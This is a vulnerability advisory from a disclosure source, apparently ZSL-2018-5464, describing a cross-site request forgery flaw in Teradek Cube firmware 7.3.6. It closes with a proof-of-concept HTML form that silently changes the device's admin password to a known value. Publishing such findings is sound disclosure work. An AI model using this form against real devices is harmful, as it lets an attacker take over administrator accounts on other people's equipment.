Teradek Cube 7.3.6 Change Password Cross Site Request Forgery

Teradek Cube version 7.3.6 suffers from a password changing cross site request forgery vulnerability.

MD5 | 6ee2897fda34fa7704724bbd3ddae301


Teradek Cube 7.3.6 CSRF Change Password Exploit

Vendor: Teradek, LLC
Product web page: https://www.teradek.com
Affected version: Firmware Version: 7.3.6 (build 26850)
Hardware Version: 1.5
Teradek Firmware Version 7.3.15

Summary: Cube packs world-class video quality into a rugged, portable
chassis for quick IP video deployments at any location. Each encoder
and decoder includes HDMI and 3G-SDI I/O, Ethernet / WiFI connectivity,
and full duplex IFB.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: lighttpd/1.4.31

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2018-5464
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5464.php



<form action="" method="POST">
<input type="hidden" name="command" value="password" />
<input type="hidden" name="pw1" value="P@ssw0rd" />
<input type="hidden" name="pw2" value="P@ssw0rd" />
<input type="hidden" name="user" value="admin" />
<input type="hidden" name="action" value="Change Password" />
<input type="submit" value="Submit request" />

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